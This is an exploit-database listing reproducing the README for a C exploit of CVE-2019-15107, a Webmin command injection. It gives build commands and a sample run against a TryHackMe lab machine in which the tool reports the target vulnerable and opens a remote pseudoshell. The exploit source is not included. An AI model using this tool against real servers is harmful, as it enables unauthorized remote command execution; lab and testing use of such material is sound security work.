Sploitus

Exploit for OS Command Injection in Webmin

githubexploit · 2021-07-02

Exploit Code

README44 lines
## https://sploitus.com/exploit?id=74D6571F-136E-55C7-9F01-F92D35E28D03
CVE-2019-15107 Webmin Exploit




CVE-2019-15107
An issue was discovered in Webmin . The parameter old in password_change.cgi contains a command injection vulnerability.  [NVD]

## Compiling
```bash
$ git clone https://github.com/whokilleddb/CVE-2019-15107
$ cd CVE-2019-15107
$ make
```

## Example Usage
```bash
$ ./exploit http://thomaswreath.thm:10000
[+] CVE-2019-15107 Webmin Unauhenticated Remote Command Execution
[+] Target URI: http://thomaswreath.thm:10000

======Headers======
HTTP/1.0 200 Document follows
Server: MiniServ/1.890
Date: Sat, 14 Aug 2021 23:40:01 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close

[~] The Given Server Is Running In SSL MODE
[+] Switching To SSL
[+] The Given Server Might Be Vulnerable To CVE-2019-15107
[+] The Given Server IS VULNERABLE To CVE-2019-15107
[+] Starting Pseudoshell
[+] Maximum Command Length(CMD_SIZE) Is Set To: 2048
[+] To Exit, type: exit()

```
_PS: This exploit was made while I was trying [TryHackMe's Wreath Network](https://tryhackme.com/room/wreath), hence the example show here corresponds to the box._

## F.A.Q
Q : **Why C instead of Python3?**

A : **Because I Am A Psychopath**